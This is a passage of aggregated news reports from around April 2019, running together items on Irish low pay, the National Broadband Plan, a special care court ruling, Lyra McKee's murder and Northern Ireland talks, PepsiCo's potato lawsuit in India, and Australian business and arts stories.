out of five (83.5% ) of all employees in receipt of the minimum wage or less, which continues a trend from earlier periods. Half (50%) of those getting the minimum wage or less were aged between 15 and 24, a 3% increase since 2017. It also emerged that non-Irish nationals were more likely to be given the minimum wage or less. The survey shows that 7.1% of Irish nationals earned the minimum wage or less last year, compared to 9.6% of non-Irish nationals. Employees whose highest level of education was secondary accounted for 61% of those reporting that they earned the minimum wage or less. Commenting on the CSO's survey, social policy and legislative officer with ICTU, Ger Gibbons, said too many workers in Ireland were badly paid. He said the actual number paid the minimum wage was likely to be higher - 133,300 did not report their earnings. Congress has repeatedly called for the minimum wage to be brought in line with the Living Wage of 11.90 recommended by the Living Wage Technical group last year. Raising the minimum wage not only helps to raise incomes for low paid workers, but it also reduces inequality, said Mr Gibbons. The minimum wage hourly rate increased by 25% to 9.80 in January, as recommended by the Low Pay Commission. All employees, including full-time, part-time, temporary and casual are entitled to receive the minimum wage, but not those employed by a close relative, in a statutory apprenticeship or aged under 18. An Economic and social analyst with Social Justice Ireland, Eamon Murphy, said a substantial number of workers in Ireland are still earning far less than what was necessary to achieve the minimum socially acceptable standard of living in Ireland. Social Justice Ireland was a member of the Living Wage Technical Group that recommended the living wage of 11.90, which is about 18% higher than the increased minimum rate. Previous studies suggest that up to twice as many people again may be earning more than the minimum wage but less than the minimum wage, said Mr Murphy. Ireland had a significant issue with low pay, with a far greater prevalence of low paid employment than other European countries. We also know that around 110,000 people in Ireland live in poverty despite having a job, said Mr Murphy who said the Government should set a five-year timeframe to close the gap between the minimum and living wage. Farmers will need financial incentives to play a part in tackling climate change, according to an expert in public health medicine. Dr Ina Kelly, chair of the Public Health Medicine Environment and Health Group, has warned that Ireland is tight on time in terms of making the changes needed to mitigate the effects of climate change. Five years ago I developed a draft plan for the health sector with my colleagues in the Department of Health. Nothing has happened with it yet because we havent had the mandate from the department... but I think thats starting to change now. Well be tight on time, but I think we have to recognise a certain point when the momentum starts and when it starts, we have to use it. Addressing the Irish Medical Organisations (IMO) AGM in Co Kerry, Dr Kelly said mitigation would not be enough, that adaptation would be required across many sectors such as transport, engineering and farming. She said farmers have been focused down particular routes like building cattle density on the basis of ideal conditions but its a big reservoir for infection, its a big carbon emitter. And then you can see during drought periods the farmers are struggling because of feedstock issues. So I am not sure that the cattle and dairy industries are nirvana for agriculture. I think we do need to have big conversations in our society. Dr Kelly, health member of the Climate Change Advisory Council Adaptation Committee, said farmers economic development could not be overlooked in the battle against climate change. When we are not listening to their needs there is going to be a fight potentially. She said it was her belief from talking to colleagues who work in agriculture that farmers will do what they are paid to do. And if they were paid to look after the environment really well, they would do it, she said. Irelands susceptibility to water-borne disease from severe rainfall events is very high Dr Kelly said, with 170,000 private wells providing untreated and sometimes contaminated drinking water. She said drinking water was the probable cause of a substantial amount of VTEC infection in Ireland, a type of ecoli which can cause kidney failure and even death. The incidence of VTEC in Ireland is far higher than the rest of Europe. Dr Kelly said people with private wells were often reassured by a single test that their water was grand whereas a hydrogeologist had told her it took about 35 tests to say your water is grand. She said a wide-ranging, integrated approach was needed to deal with climate change. With smart solutions in transport, farming, engineering and other areas, we will have a chance of reversing some of the adverse effects threatened by climate change. But urgent action is needed. The Government has yet to decide whether it will go ahead with the roll-out of the controversial National Broadband Plan (NBP), the Finance Minister Paschal Donohoe has confirmed. The plan to deliver high-speed broadband to every home in the country has been the subject of delays and controversy with the cost spiralling from an initial 500m to around 3bn. Taoiseach Leo Varadkar had indicated that he wanted Cabinet to make a decision on the plan before Easter but this did not happen. However, it is understood that the Government is eager to press ahead with the NBP despite some concerns around the rising cost of the rollout of broadband in rural Ireland. Minister Donohoe said he would be taking all of the advice received onboard before making a decision on the plan. "It has gone through a very extensive debate and process within the Government with the Department of Communications. No recommendation has been taken to Government yet in relation to it, but that will be happening I believe soon, and I will be taking account of all of the advice and views on that matter when I give my views on the project." Asked whether he has been advised by officials not to go ahead with it or whether they expressed concerns about it, Mr Donohoe said he had received "a lot of different views in relation to this project". "I think the imperative thing is that we allow the work that is underway in relation to the broadband plan to come to conclusion. That will be happening and then the Cabinet will be briefed on all of the different issues in relation to it, and all of the different opportunities in relation to it. "This is a plan now that has gone through a very extensive tendering process. We are now aware of many of the different costs and complexities that are involved in relation to delivering a project of this scale and because of this I think Cabinet will be well informed and well placed to make a good decision on what is a really important investment in our countrys future." Timmy Dooley. It comes as Fianna Fails Communications spokesperson Timmy Dooley claimed the tender process for the National Broadband Plan has "absolutely failed". Mr Dooley called for engagement with the other bidders who pulled out earlier in the tender process. A consortium led by American businessman David McCourt is the only remaining bidder for the contract to provide broadband to more than 500,000 homes and businesses across the country. "It now clearly points out that the tender process that the State put in place to identify a bidder that would provide a service and value for money for the State has absolutely failed. "It failed around 18 months ago when two of the main competitors pulled out of the race. It was clear at that stage that there was only going to be one outcome," he told Newstalk Breakfast. "To the best of my knowledge there has been no serious engagement with either the ESB, Vodafone or Eir - I think that was a fundamental mistake on behalf of the Government and its agents." Update Apr 27: Jamie O'Neill has been found safe and well. Earlier: Gardai are appealing for help to find a teenager who has gone missing in Donegal. Jamie O'Neill was last seen on Wednesday at his home in Bonagee, Letterkenny. The 17-year-old is five foot nine inches tall, has dark brown hair and brown eyes. Jamie O'Neill. He was last seen wearing a dark-coloured tracksuit. Anyone with any information is being asked to contact Letterkenny Garda Station on (074) 9167100, The Garda Confidential Line 1800 666 111 or any Garda Station. A teenager told gardai that she wanted to murder a social care worker and appeared annoyed when her assault on the worker didnt lead to that outcome. In the aftermath of the assault on May 2 last year on the way back from a court appearance, the 17-year old told gardai that it was music to her ears to hear (the social worker) scream and cry while asking her to stop. In the assault, the teenager was sitting in the back of the car and lunged without warning at the social care worker who was driving. The girl dug her nails into the social care workers eyes, tearing her eyelids. The social worker - who was accompanied in the car by a colleague - stopped the car and the teenager repeated: I am going to kill you. The teenager tore clumps of hair from the head of the social care worker and wrapped her legs around the victims head and chest, refusing to let go and bit the care worker on the hand, continuing to pull at her hair and scrape her face. The social worker required hospitalisation and at the garda station, the teenager girl - in State care since she was 10 - told gardai that she had a list of staff she wanted to assault for various reasons. The girl was sentenced to five months in detention for the assault last year. The details of the assault are included in a written judgement by the Court of Appeal where it has upheld a High Court ruling that the teenager be detained on foot of a Special Care order. The original High Court decision was made last December and was appealed by the teenager. In her ruling, Ms Justice Maire Whelan said that the Special Care Order was both necessary and proportionate and was validly made. 'A household of extreme depravity' In the conclusions to her 22,000-word judgement delivered on April 12 but published by the Courts Service on Thursday, Ms Justice Whelan found that the degree of cruelty and dysfunctionality experienced by the girl during childhood was extraordinarily severe including the withholding of basic care and sadistic conduct. Ms Justice Whelan stated: The evidence of the impact on her welfare and development of this is overwhelming, and bears out the argument that she does require the special care now proposed and that there is every chance that her welfare and development will benefit from the therapeutic care that is proposed. Ms Justice Whelan found that the High Court was correct in its conclusion that a special care order was in the best interests of the teenager and offered the best prospects of addressing the compelling evidence of real and substantial risk of harm that her own behaviour poses to her life, health, development, safety and welfare. In the judgement, Ms Justice Whelan said that the 17-year-old was born into a household of extreme depravity and domestic violence and her parents were locked into what was described as a sadomasochistic relationship. Father 'recruited her to join him in the abuse of the mother' A psychological report stated that the childs father prevented the mother from breastfeeding or tending to the baby. The report found that the child was physically and emotionally abused by her father and when she was old enough the father recruited her to join him in the abuse of the mother. A 2017 risk assessment of the girl found that the care provided by parents was absent, unreliable and cruel. The childs mother was not allowed to hold or soothe the child when she cried, according to the report. The girls father was described as sadistic and cruel in the report. The mother left the family home with the girl when she was aged almost nine in 2010 to stay in a womens refuge. In 2012, after perpetrating a violent attack on her mother, the girl was the subject of a care order and has remained in care ever since. Ambition to be a porn star The girls formal education concluded when she was aged 14. The judgement records that in recent years, the girl has engaged in criminal conduct and this includes an assault, criminal damage and damage to a motor vehicle. The teenager told her Guardian ad Litem (GAL) that her reported long-term plan and ambition was to move to Los Angeles to work as a sex worker and in the adult porn film industry in order to achieve fame. The GAL concluded that the girl should remain in special care for a period of time - the Child and Family Agency (CFA) is supportive of the High Court ruling. The government is considering making vaccines for children mandatory. Health Minister Simon Harris has written to the Attorney General this week seeking legal advice, due to a rise in the anti-vax movement. New figures from UNICEF show the number of measles cases in Ireland jumped by more than 200% in the space of a year. That is being blamed on misinformation and scaremongering on social media. The government is now considering whether or not it should make vaccinating children mandatory. Health Minister Simon Harris says it is about protecting children. "I feel there is something irresponsible that is against the public good sending an unvaccinated schild into a public school, into a creche or into a public place where they could actually make other children sick," he said. Minister Harris has also criticised politicians who have raised concerns about vaccines. He says he wants to know if they support the immunisation programme. We have seen populist nonsense from some members of the Oireachtas. "Next week I intend to write to every member of the Oireachtas and I intend to ask them to publicly commit to supporting childhood immunisation, supporting that programme and supporting the HPV vaccine for girls and boys." The government will be looking at how other countries deal with the issue of unvaccinated children attending school. A 46-year-old man is to stand trial accused of mortgage fraud in Dublin. Dublin-based German national Daniel Belling was arrested earlier this month by officers from the Garda National Economic Crime Bureau. He was charged by Detective Garda Niamh Seberry and bailed to appear at Dublin District Court today. Evidence of his arrest and the procedure of being charged was detailed in a certificate furnished by a court Garda sergeant to Judge Mary Dorgan. Mr Belling, with an address at Kilkee House, Clare Village, Dublin 17, faced seven charges under the Theft and Fraud Act. One was for alleged deception of a bank in relation to a 112,500 home loan and there were six counts of using various documents as false instruments at several bank branches. He was accused of deception of Bank of Ireland Mortgages, in the IFSC, in Dublin, of a 112,500 mortgage for his own gain on March 3, 2014. He was charged with use of a false AIB bank statement in order to deceive at the Bank of Ireland's Northern Cross branch on July 1, 2013. Mr Belling, who has not yet indicated how he will plead, was also charged with using false AIB statements and a German ID card in his name with a different date of birth on August 26, 2013. It was alleged on January 19, 2015, he used a false German ID card with another birth date at Bank of Ireland in Coolock Village. He also has a separate charge for using a payslip and a P60 that were false at Bank of Ireland in Coolock on January 27, 2015 and false Ulster Bank statements, six payslips and a P60 on December 17, 2014. Mr Belling, was wearing a brown and black Hugo Boss jacket and black trousers for his brief hearing. The Director of Public Prosecutions has directed trial on indictment meaning his case will be sent forward to the Circuit Court. He was remanded on continuing bail to appear again at the district court on June 7 next when it is expected he will be served with a book of evidence and returned for trial. Legal aid was granted after his lawyer furnished the court with a statement of his means. U.S. President Donald Trump talked today about the Democratic contenders for the 2020 presidential election. According to Trump, former Vice President Joe Biden has name recognition but he won't "be able to do the job." "I think we are calling him 'Sleepy Joe' 'cause I've known him for a while. Is he a pretty sleepy guy. He won't be able to deal with [Chinese] President Xi, I will tell you. That's a different level of energy and, frankly, intelligence," Trump said in the interview with Fox News When asked about Sen. Bernie Sanders, Trump criticized his record, saying Sanders had "misguided energy" and asserted that Sanders "talks a lot" but hasn't accomplished anything. Update: Talks on the restoration of the power-sharing institutions in Northern Ireland are to resume on May 7, Northern Ireland Secretary Karen Bradley has said. In a joint press conference in Belfast with the Tanaiste Simon Coveney, Ms Bradley announced that talks on the restoration of power-sharing institutions will resume on May 7. Ms Bradley said the sickening murder of journalist Lyra McKee had deeply shocked everyone across the world. Lyra was a brilliant, talented journalist, a role model for many, who always fought to make Northern Ireland a better place, said Ms Bradley. Since Lyras death, communities across Northern Ireland and the political spectrum have come together, united in condemnation at this murderous act. They have delivered a clear message the people responsible for this act of terrorism have absolutely nothing to offer Northern Ireland and have no place in society. Ms Bradley said the security situation in Northern Ireland had been transformed and the province was now a dynamic, modern, outward-looking place. But she added: There remain small numbers of dissident republicans who remain intent on killing. Our challenge is to ensure that we continue to work for peace for the whole community. Ms Bradley said: Lyra symbolised the new Northern Ireland and her tragic death cannot be in vain. All of us must take inspiration from what Lyra achieved in her life and work even harder to make Northern Ireland a brighter, more peaceful and prosperous place for everyone. Ms Bradley said it was her absolute determination for new talks to succeed and the Belfast/Good Friday Agreement must be upheld and defended. She said: These talks offer the chance to move forward to restore the political institutions and deliver for the people of Northern Ireland We have a narrow window in which genuine progress can be made and we must act now. Earlier: Leo Varadkar and Theresa May confirm fresh all-party talks in the North An agreement has been reached to establish a new round of talks involving all the main political parties in Northern Ireland, Theresa May and Leo Varadkar have said in a joint statement. Negotiations are expected to take place as soon as possible after local council elections in Northern Ireland on May 2. All the main parties will be invited. On Wednesday, Catholic peacemaking priest Father Martin Magill challenged politicians as to why it had taken the death of 29-year-old Lyra McKee shot by dissident republicans to unite them, at her funeral. The Taoiseach and British Prime Minister's statement said: "In coming together with other political leaders in St Anne's Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland. Leo Varadkar and Theresa May in 2017. "We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. "We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish Governments, in accordance with the three-stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement - the NI Executive, Assembly and North-South Ministerial Council - so that they can effectively serve all of the people for the future. "We have asked the Secretary of State for Northern Ireland and the Tanaiste to meet later today in Belfast to set out our proposed approach and to commence the talks process as soon as possible after the local elections in Northern Ireland. "In addition, we have agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The Conference will consider East/West relations, security cooperation, and political stability in Northern Ireland. "We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. "As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. "We will review progress at the end of May." Human rights, community policing and national security will be discussed at a major policing conference in Galway today. The event at NUIG will focus on key recommendations of a report by the Commission on the Future of Policing from September last year. The Minister for Justice and the Garda Commissioner will be among those speaking at the conference. The Minister is to reflect on the challenges ahead in implementing the ambitious programme of reform set out by the Commission and the report. "I strongly believe that with the clear internal appetite for change, the Commissioners leadership, the Governments commitment to this programme of reform, and the buy-in that has been achieved at a senior level across the public sector that this is a challenge that can be met," said Charlie Flanagan TD. Human rights and policing will be a key theme of the conference. "The reality is that a policing service whose primary focus is on protecting and upholding human rights is one that will be professional and effective and will maintain the trust of the community it serves," said Minister Flanagan. "It will welcome oversight and drive continuous improvement, and it will listen to and offer appropriate, but not unquestioning, support to the members and staff who work within it." The murder of Lyra McKee should be a "solemn reminder" of the need for an Assembly in Northern Ireland the Finance Minister has said. Tanaiste Simon Coveney is in Belfast this afternoon where he and Northern Ireland secretary Karen Bradley are expected to announce a new round of talks to break the political impasse. The PSNI has made a fresh appeal for information as part of their investigation into the murder of journalist Lyra McKee in Co Derry. Detective Superintendent Jason Murphy, who is leading the investigation, has issued new footage of the violent disorder in Creggan in Derry on April 18. Lyra McKee He called on the Creggan community to come forward with fresh information. "Approximately 100 people were on the ground on the night Lyra was murdered people saw the gunman and his associates. I think people within the community know who they are. Im asking them to come forward and help us," Detective Superintendent Murphy said. Im releasing footage today from the night of Lyras murder and I want to appeal to anyone who recognises or knows these people to talk to us. Three men one said to have been carrying a crate of petrol bombs were seen walking across Central Drive in Creggan area a minute before the killing. He highlighted footage of one man, who was short and stocky, who he believes was the gunman who fatally shot Ms McKee. "About one minute before Lyra was murdered, three men walked across Central Drive from the direction of the shops. In the footage you can see these men. "At the front you can see a man circled hes carrying a crate of petrol bombs towards where the crowd including children, were standing. He is the tallest of the three men I want to know who he is. "Behind him you can see two other men. The man on the inside nearest the wall is the next tallest. Hes wearing dark skinny jeans, blue Nike trainers with a white tick and a white sole. Hes wearing a camouflage scarf or other covering across his face. Do you know this man? "In other footage he can be seen holding a petrol bomb and in the new light his clothing is clearly visible. "As he walked along the footpath, he was accompanied by the third man. In the footage you can see that he is shorter than both of the other men and of stocky build. "Its my belief he is the gunman that fired indiscriminately into the crowd, placed the community and police officers at risk and took the life of Lyra. You can see he is wearing dark clothing and in other footage you can see this clothing in a different light. People know who he is." The suspect, who police believe to be aged in his teens, appears to be carrying the gun in his right hand in one of the images. Detective Superintendent Murphy said more than 140 people have provided images, footage and details from the night "To date, we have received widespread public support including more than 140 people providing images, footage and other details via our dedicated Major Incident Public Portal. "However, community information and intelligence is not evidence. Such information simply gets me through the door but it doesnt get me to a courtroom. I need people to contact my team, to talk to us about what they know. I would urge anyone who has any information, or who witnessed the murder, to contact the police on 101. Or if someone would prefer to provide information without giving their details, they can contact the independent charity Crimestoppers and speak to them anonymously on 0800 555 111." Former Northern Ireland Deputy First Minister Seamus Mallon has said that Northern Ireland Secretary of State Karen Bradley is not the right person for the position. She has shown that she hasnt a clue what shes doing here. She has no idea of the problems or the nuances. God love her, why she was put there I dont know, he told RTE radios Today with Miriam OCallaghan show. Because of the links between the DUP and the government in Westminster I fail to see how a DUP Secretary of State can properly chair these negotiations. It is important to realise that there are five other political parties in Northern Ireland that have participated in the work of the Executive and the Assembly, he said. The people represented by the five other parties are being completely ignored in the begging that goes on for an agreement between Sinn Fein and the DUP. Thats bad for politics, its bad for the community. It is cynical in the extreme. Mr Mallon said that he hopes things can change this time. Unfortunately over the past two years the two parties involved (Sinn Fein and the DUP) have seen fit to toss all previous efforts out the window. Both those parties did not support the Good Friday Agreement, he said. The British government needs to be reminded of its responsibilities to the Good Friday Agreement, he added. When you strip it all down Sinn Fein and the DUP are not catering for all of the people in Northern Ireland, they are catering for their own supporters, their own people. It has been a type of great silo politics. He called for the five other political parties to be involved in monitoring the system and any signs of corruption. I believe a clean up is needed in Northern Ireland politics. We cant go into another session (of Assembly) without cleaning up the administration. A woman who was stopped by gardai while test-driving a car has been disqualified for having no insurance. Michelle Muller told Bantry District Court in Co. Cork she had only been in the car a matter of minutes and had assumed she was covered to drive it in September last year. Ms Muller, from Inchinagown, Coomhola in Bantry, Cork, had a previous conviction from last year for driving without insurance. Judge James McNulty heard from a prosecuting Garda that at 12.30pm on September 7 last he stopped the Peugeot hatchback near Bantry. He said Ms Muller told him she had asked a local car dealer a week previous if she could buy a car and was test-driving it. She did not have insurance and a certificate later produced at Bantry Garda Station did not cover her for the day in question. The insurance certificate was in the name of a car dealer but it required the insurance holder to accompany a driver. Regarding whether she was insured or not, Ms Muller, 49, told the court: I did not even think about it. She had presumed she was covered by the car dealer. The defendant said she was nervous when stopped by gardai and had tried to ring the car dealership at the time, but there was no signal. I was literally in it for 15 minutes when I was stopped, she told the judge. However, Judge McNulty said Ms Muller had disregarded her civic obligations and could also have been appraised of the situation regarding cover by the dealer. A letter was produced in court from the dealer stating that Ms Muller had taken the car for a test drive on the day, but the date given in it was two weeks after the actual incident. It is a poor offering, to be frank, the judge said. We dont administer justice by correspondence. Ms Muller works as a carer and said she needed her car to travel to work. However, as it was her second conviction, a two-year disqualification was mandatory. Ms Muller was homeless and effectively living in her car when first disqualified. The judge said he was sympathetic and was glad she had emerged from a chaotic period and was now working, but that the courts hands were tied as to the disqualification. He fined her 500 and fixed recognisance for her appeal at her own bond of 100, no cash required. The husband of the late award-winning author Emma Hannigan has revealed that a documentary is to be screened by RTE. The popular novelist, who had 14 novels published, died following a very public 11 year battle with breast cancer in March last year. The Wicklow natives heart wrenching social media post, just two weeks prior to her passing detailing how she was losing her cancer battle, saw an outpouring of emotion from hundreds of thousands of members of the public, reading fans and authors both nationally and internationally. The 45-year-old mother of twos novel, The Gift of Friends, which was released in February centres around fractured families, unconditional love and the importance of friendship, went straight to number one in the best sellers list. Her husband Cian, posted a sneak peek of the documentary, The Life and Times of Emma Hannigan, which is to be aired on May 7, to his wifes official Facebook page. He posted: Just a little snippet from the documentary that RTE kindly did about Emma. It will air on Tuesday, May 7 at 7pm. I hope you will enjoy it. Cian The documentary also documents the late cancer awareness advocate's friendships with renowned chef, Rachel Allen, of Ballymaloe Cookery School, author Cathy Kelly and Olympic gold medalist and lightweight female world champion boxer Katie Taylor. In the clip, Taylor says, I couldnt believe how encouraging she was. She was a person to look to. But she was the one who was saying to me that she looked up to me and that I was her hero. I just couldnt believe that. I just think she was the most humble person I ever came across. Hundreds of fans took to Ms Hannigans Facebook page with one posting; I so miss Emma so much. Im so looking forward to seeing this programme of the two of you. (You both) were so wonderful together and Sacha and Kim (children) they were her world. Her Dad was absolutely amazing on the Late Late show. Emma loved her glitter, she was an inspiration, she fought hard (and) never gave up til the end. Emma was an ambassador for the charity Breast Cancer Ireland and raised more than 135,000 before she died on March 3 and was honoured through an eponymously named fellowship created by the charity. We can't wait to watch what's sure to be a fitting tribute to our dear friend Emma Hannigan Tune into the The Life & Times of Emma Hannigan at 7pm on the 7th May on RTE1@MsEmmaHannigan pic.twitter.com/b9TNCbjTdE BreastCancerIreland (@BreastCancerIre) April 25, 2019 The charity tweeted that they, Can't wait to watch what's sure to be a fitting tribute to our dear friend Emma Hannigan. When revealing the devastating news of her imminent death Emma said: All good things must come to an end. The time that I knew was borrowed must be given back soon, so it seems. The conversation I never wanted to have has been said. My medical team have thrown everything but the kitchen sink at this fight but all avenues have now been exhausted. She spoke openly about her love for her teenage children, son Sacha, daughter Kim, husband Cian, parents, family, friends and fans adding that her love for them has been integral to her life. Fake German heiress Anna Delvey, whose real name is Anna Sorokin, has been found guilty on eight counts by a jury, including stealing $200,000 from friends and businesses. However, the jury found Sorkin not guilty of attempted grand larceny in the first-degree regarding a $22 million loan she tried to obtain, according to the New York Times. U.S. President Donald Trump and Japanese Prime Minister Shinzo Abe will hold a meeting at the White House today to discuss a range of topics including future actions to take towards North Korea following recent developments in denuclearization talks. "It's an important opportunity for the leaders to exchange views on recent developments with North Korea as well and to coordinate future actions aimed at achieving the final, fully verified denuclearization of North Korea," Sputnik cited a senior U.S. administration official as saying. The leaders will also review recent developments in the Indo-Pacific region and discuss next steps to address any challenges. In addition, Trump and Abe are also expected to discuss efforts to enhance trade and investment between the countries and priorities for the G-20 Finance Ministerial that will be held in Osaka, Japan in June. Islamists in Sudan long allied with ousted president Omar al-Bashir's regime have called for a rally to support military-backed Islamic rule in the face of alleged attempts by protesters to abolish it. Islamist preachers have been seeking to discredit protest leaders in their religious sermons inside mosques, accusing them of seeking to undermine divine rule and impose western values of freedom, democracy and human rights. The call for a rally on Monday came as tensions resurfaced between the ruling military council and protesters after the military said the army would "maintain sovereign powers" during the transitional period. In his Friday sermon, Khartoum-based Salafi preacher Abdel-Hay Youssef accused the protest movement of seeking to "dictate their own will on the people". He asked rhetorically: Did you take to the streets to impose laws that contradict people's identity and to divorce God's Shariah (Islamic law) from the government? Mr Youssef rejected the blueprint for transition to civilian rule suggested by protesters and called upon the military to protect the role of Islam in the government. Since independence in 1956, Sudan has bounced between tumultuous party politics and military rule. But Mr al-Bashir successfully presented himself as the leader of a new wave of "political Islam" based on an alliance between Islamists and the military. As a young officer, Mr al-Bashir and his army were groomed and trusted by the Islamist movement, which played a key role in propping him up for years. After leading his coup with a few fellow officers, Mr al-Bashir declared the imposition of Islamic Sharia law. The new rules included stoning and amputations as punishments. The Islamists "have not stopped their attempts at regrouping themselves, but they are not capable of standing against the revolution," said Faysal Saleh, a Sudanese journalist. "Hence, they are rallying behind the military council." Some see no imminent threat posed by Islamists, arguing they lack a solid support base in today's Sudan. "So far these groups are standing alone and people are already resentful of them and hold them responsible for supporting al-Bashir's regime for decades," said Mr Saleh. However, if the military and the protesters fail to reach an agreement, the Islamists and the generals could renew their alliance. Earlier on Friday, a military spokesman said the army would retain power during the transitional period and hand over only executive authorities to civilians. The Sudanese Professionals' Association and other protest groups had resumed talks with the military council after briefly halting negotiations and accusing the military of stalling on relinquishing its grip following Mr al-Bashir's ousting and arrest on April 11. The SPA, which has spearheaded the four months of protests that toppled Mr al-Bashir after 30 years in power, is demanding an immediate handover of power to civilians. "This is disappointing and we did not expect to hear that," said Ahmed Rabie, a leader in the SPA, an umbrella of independent Sudanese unions. "For us, this option is completely unacceptable." The protesters say they want a transitional council with "limited military representation" to run the country, along with an interim Cabinet until a new constitution is drafted. -PA Farmers in the state of Gujarat, India, are seeking government intervention after Pepsi Co, whose products include Pepsi, Lays, Doritos, Tropicana, 7up, sued for farmers for allegedly infringing its rights by growing a potato variety registered by the company for use in its Lays crisps. Four farmers are reportedly being sued by the company for approximately 134,000 in damages each. According to The Hindu, a letter sent to the Protection of Plant Varieties & Farmers' Rights Authority in India (PPV & FRA) by farming activists and groups said: "These farmers are small, holding around 3-4 acres on an average, and had grown a potato crop from farm-saved seed after they accessed the potato seed locally in 2018. It also alleges that PepsiCo hired a private detective agency to pose as potential buyers and take secret video footage without disclosing their real intent. The case resumes today. A Pepsi spokesperson said: PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety. PepsiCo has also proposed that they may become part of its collaborate potato farming program. "This gives them access to higher yields, enhanced quality, training in best in-class practices and better prices. "In case, they do not wish to join this program, they can simply sign an agreement and grow other available varieties of potatoes. "It is significant to note that the company's collaborative potato farming program is best in class and is built on strong backward and forward linkages that improve livelihoods by using protected seeds. "The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers that are engaged with its collaborative potato farming program. PepsiCo India remains deeply committed to resolving the matter and ensuring adoption of best farming practices." PepsiCo set up its first crisp plant in Channo, Punjav in 1989, followed by two more at Ranjangaon, Pune and Howrah, West Bengal. At the moment, PepsiCo is the largest processed grade potato buyer in India. The company is planning to double its collaborative farming network in the next five years, including expansion to new geographies. Financial services giant IOOF has received another setback in its push to buy ANZ's superannuation arm after it again fell afoul of the superannuation regulator over delays to a restructure of its allegedly conflict-riddled super business. IOOF told the Australian Securities Exchange on Friday it had received show cause notices from the Australian Prudential Regulatory Authority for alleged licence breaches for delays to its restructure. Such notices are often a prelude for regulatory directives or even court action. IOOF's acting chief executive Renato Mota and chairman Allan Griffiths. Credit:Elke Meitzel The fresh regulatory action against IOOF could pour more doubt on the group's ability to complete its $1 billion acquisition of ANZ's pensions and investments business. IOOF's shares slipped 2.5 per cent, or 17, to $6.46 on Friday. Sources with knowledge of IOOF's deal with ANZ said the licence breach would add to the bank's concerns about moving 700,000 OnePath members to IOOF. But the lack of managers able to work on the deal due to separate regulatory action against IOOF's management was of even greater concern, particularly as IOOF had no permanent chief executive or chief financial officer or chief legal officer, they said. Co-living properties with student accommodation, build-to-rent and senior living homes are the new asset classes attracting investors seeking high-yielding returns. While managers of retirement living homes are looking to divest or reduce their exposure such as the real estate investment trusts trying to raise funds for other investments there are buyers waiting in the wings for these properties. According to JLL, an emerging group of residential real estate products that reflect different stages in life are gaining the attention of investors and developers in Australia and across Asia. Mirvac's first build-to-rent property at Indigo Pavilions, Sydney Olympic Park. Credit:BVN JLL head of alternative investments Australia Noral Wild said the demographic shifts driving demand were well documented. A roundtable meeting on plans for the development of renewable energy in Turkmenistan is held in Ashgabat, according to the Turkmen Foreign Ministry. The event is organised by the Organization for Security and Cooperation in Europe (OSCE) and the United States Agency for International Development (USAID). Representatives of the Ministry of Energy of Turkmenistan and the Turkmen State Energy Institute are also taking part in the event. The parties hold discussions on projects based on government priorities and on their subsequent integration into the national strategy for the development of renewable energy. Energy forecasters have tipped a $US200 billion global LNG surge with Australia's exports forecast to reach $49 billion in value in 2019-20, overtaking Qatar as the worlds largest LNG exporter. Total industry capital expenditure is expected to reach more than $US200 billion ($285 billion) between 2019 and 2025. Much of it is likely to be spent in Canada, Mozambique, Qatar and the US, which is slated to see a flood of shale gas development. Analysts are forecasting a $US200 billion boom in new LNG developments. Credit:AFR Wood Mackenzie's latest gas report forecasts about 90 million tonnes (mmtpa) worth of LNG development projects around the world will reach a final investment decision and start construction over the next two years. The LNG boom is back, Wood Mackenzie global LNG supply research director Giles Farrer said. Ms Boland has recommended there should be a separate industrial manslaughter offence for workplace deaths where there has been a gross deviation from a reasonable standard of care. Marie Boland, former executive director of SafeWork South Australia, who led the review, said the new offence was needed to address concerns and limitations in existing criminal manslaughter laws. Dave and Janine Brownlee whose son Jack died on a work site last year are supporters of harmonised industrial manslaughter laws. Credit:Eddie Jim An independent review of national workplace safety laws this year recommended a new offence of industrial manslaughter to make employers liable for gross negligence of their workers. Under existing laws, a corporation can commit the crime of negligent manslaughter. But the review found many lawyers have identified big hurdles to getting a conviction. Prosecutors need to identify a grossly negligent individual who embodies the company and whose conduct can be attributed to the corporation. Lisa Chesters, Labor's assistant spokeswoman for workplace relations, on Friday announced that a Shorten government would work with state and territory governments to establish a uniform industrial manslaughter offence across the country. Labor would also establish a national advisory committee made up of representatives from each state and territory who have been personally impacted by a serious workplace injury or death. They would be asked to provide advice to the federal, state and territory work health and safety ministers and would receive support from SafeWork Australia to develop recommendations to governments. "We know that more work needs to be done to make sure Australian workplaces continue to be the safest they can be. This includes making sure that deterrents and penalties work effectively to reduce injuries and prevent deaths," Ms Chesters said. Dave and Janine Brownlee, whose son Jack, 21, died after a 3.2 metre trench collapsed on him while he was working in Ballarat are strong supporters of industrial manslaughter laws. Their son was one of 157 workers killed in Australian workplaces last year. He leaves adornment behind in his haunting, stripped-back three-channel video Berceuse (2017), appearing in a simple black top, singing in his traditional language, Bidjara, the camera focusing without compromise on his face, his lips, his piercing brown eyes. Like his photographs, its a potent work, and I wonder what virtual reality could possibly give Thompson that other mediums have not. He has photographed himself crowned with garlands of native flora; encased in a hoodie patterned with Aboriginal motifs, cascading strands of pearls concealing his face; cone-headed and coated in black paint, his eyes covered with eerie white contact lenses. Christian Thompson: ''Now that Ive seen the work, Im like, I only ever want to do VR.'' Credit:Simon Schluter Thompson is often the subject of his work not out of any narcissistic urge (he is, paradoxically, shy) but as a vehicle for ideas. His intense and transgressive self-portraits mash up elements of his Aboriginal heritage with references to Australias colonial past, and play with binaries of city and bush, male and female, the earthly and the supernatural. Christian Thompson had never considered using virtual reality as a medium to make art. Photography, sculpture, performance, sound and video have served him extremely well, allowing him to say all he needed to about race, gender, sexuality and cultural hybridity. Its funny, I had no interest in VR, he admits. And then my friend, Marina, shes a performance artist he says, breaking into a wry laugh. His friend needs no introduction: Marina, as in Abramovic. We caught up in London, and she was like, oh, do you work in VR? And I said, no, I dont work in 